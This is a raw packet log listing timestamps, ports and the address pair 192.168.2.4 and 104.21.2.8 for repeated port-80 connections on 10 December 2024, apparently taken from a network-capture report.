Dec 10, 2024 19:01:29.338592052 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:29.432349920 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:29.459924936 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.459956884 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.554742098 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.554754019 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.554864883 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:30.158514023 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:30.229130030 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:30.535096884 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:30.618865013 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:30.635358095 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:30.838478088 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.280976057 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.338500977 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.399271011 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.399348974 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.399378061 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.400691986 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.520942926 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.521626949 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.521675110 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.521749973 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.521771908 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.521888018 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.522244930 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.523622036 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.523819923 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.649844885 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.869877100 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:31.989310980 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.989382029 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:31.989392042 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:32.622791052 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:32.667922974 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:32.899410963 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.024972916 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.025799990 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.147248030 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.149641037 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.149720907 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.151316881 CET	80	49814	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.153523922 CET	49814	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.272025108 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.494863033 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:33.614428043 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.614440918 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:33.614465952 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:34.253037930 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:34.339107990 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.548012972 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:34.635421038 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.676327944 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.676953077 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.796247005 CET	80	49820	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:34.796333075 CET	49820	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.796413898 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:34.796494007 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.796677113 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:34.916481972 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.151122093 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.271181107 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.271198034 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.271209955 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.637841940 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.638072968 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.757385969 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.758188009 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.758555889 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.779855967 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.804719925 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.851625919 CET	80	49826	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.851680994 CET	49826	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.877787113 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.899307013 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:35.899477959 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:35.899626017 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:36.020843029 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:36.104300022 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:36.227684975 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:36.227746964 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:36.252311945 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:36.394047976 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:36.394088030 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:36.394248962 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:37.177076101 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:37.317575932 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:37.323281050 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:37.513247013 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:37.974970102 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.023978949 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.026010990 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.164274931 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.164289951 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.164967060 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.284070969 CET	80	49827	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.284234047 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.284329891 CET	49827	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.284377098 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.284528017 CET	80	49828	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.284583092 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.284605980 CET	49828	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.510571957 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.635637999 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:38.755033016 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.755073071 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:38.755083084 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:39.702353954 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:39.838526011 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:40.260595083 CET	80	49834	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:40.338551044 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:40.485389948 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:40.604836941 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:40.604923010 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:40.605122089 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:40.724462986 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:40.964576006 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:41.084393024 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:41.084413052 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:41.084425926 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:42.024843931 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:42.068021059 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:42.794258118 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:42.838527918 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:42.929635048 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:42.930445910 CET	49846	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:42.980339050 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.050097942 CET	80	49840	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.050590992 CET	80	49846	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.050668001 CET	49840	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.050683022 CET	49846	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.050889015 CET	49834	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.058773994 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.099942923 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.100159883 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.100250006 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.179404020 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.179485083 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.179650068 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.219801903 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.299361944 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.447988033 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.526103973 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:43.567424059 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.567608118 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.645657063 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.645673990 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:43.645755053 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:44.541970015 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:44.635423899 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:44.640563011 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:44.729146004 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.028346062 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:45.135427952 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.481125116 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:45.526016951 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.602515936 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.602540016 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.606232882 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.722353935 CET	80	49847	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:45.722521067 CET	49847	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.722821951 CET	80	49848	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:45.722861052 CET	49848	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.725650072 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:45.725724936 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.725895882 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:45.845374107 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:46.073074102 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:46.193667889 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:46.193681002 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:46.193734884 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:47.146519899 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:47.338510990 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.474545956 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:47.527021885 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.602049112 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.603095055 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.722276926 CET	80	49855	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:47.722346067 CET	49855	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.722727060 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:47.722812891 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.723025084 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:47.843394041 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:48.073010921 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:48.192751884 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:48.192770004 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:48.192780018 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:49.251231909 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:49.338541985 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.712629080 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:49.838515043 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.844906092 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.846040010 CET	49866	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.965132952 CET	80	49860	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:49.965467930 CET	80	49866	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:49.965523005 CET	49860	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.965573072 CET	49866	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:49.965750933 CET	49866	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.051672935 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.053644896 CET	49866	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.085534096 CET	80	49866	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.171040058 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.172012091 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.172137022 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.184206009 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.220789909 CET	80	49866	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.291418076 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.303683996 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.305623055 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.305778027 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.425654888 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.526220083 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.651125908 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:50.651664019 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.651866913 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.770529032 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.770555973 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.770606041 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.870310068 CET	80	49866	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:50.870457888 CET	49866	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:51.269884109 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:51.340243101 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:51.391961098 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:51.526056051 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:51.917057991 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:51.997957945 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.047723055 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.047755957 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.048602104 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.170912981 CET	80	49867	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.170928955 CET	80	49869	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.170939922 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.171030998 CET	49867	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.171045065 CET	49869	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.171111107 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.176043987 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.295857906 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.526109934 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:52.646605968 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.646631956 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:52.646677017 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:53.589711905 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:53.635396004 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.485619068 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:54.510086060 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.629668951 CET	80	49874	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:54.629745960 CET	49874	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.653697014 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.773435116 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:54.773539066 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.773714066 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:54.894164085 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:55.119885921 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:55.239761114 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:55.239778042 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:55.239793062 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:55.860527992 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.026045084 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.097079039 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.213871002 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.216758966 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.333626032 CET	80	49881	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.334781885 CET	49881	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.336110115 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.336297035 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.336463928 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.457000017 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.682444096 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:56.802119970 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.802150011 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:56.802190065 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.037318945 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.156766891 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.156879902 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.158354998 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.228061914 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.277663946 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.347968102 CET	80	49884	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.348032951 CET	49884	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.513084888 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.588593006 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.632702112 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.632742882 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.709013939 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:57.709135056 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.709332943 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:57.833931923 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.057604074 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:58.182178020 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.182260036 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.182296038 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.242109060 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.338586092 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:58.800375938 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:58.957089901 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.041766882 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.045558929 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.066929102 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.196325064 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.196387053 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.197351933 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.316338062 CET	80	49889	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.316945076 CET	80	49890	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.317004919 CET	49889	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.317015886 CET	49890	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.317236900 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.317579985 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.317729950 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.437227964 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.666796923 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:59.786838055 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.786854982 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:59.786873102 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:00.403187990 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:00.635416985 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:00.690692902 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:00.804975986 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:00.805747032 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:00.925009966 CET	80	49896	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:00.925062895 CET	49896	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:00.925163031 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:00.925232887 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:00.925376892 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:01.044817924 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:01.276138067 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:01.398673058 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:01.398689032 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:01.398724079 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:02.037144899 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:02.135440111 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:02.277204037 CET	80	49898	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:02.338610888 CET	49898	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:02.414428949 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:02.627427101 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:02.629621983 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:02.629831076 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:02.749557972 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:03.014458895 CET	49903	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:02:03.134253979 CET	80	49903	104.21.2.8	192.168.2.4
Dec 10, 2024 19:02:03.134267092 CET	80	49903	104.21.2.8	192.168.2.4
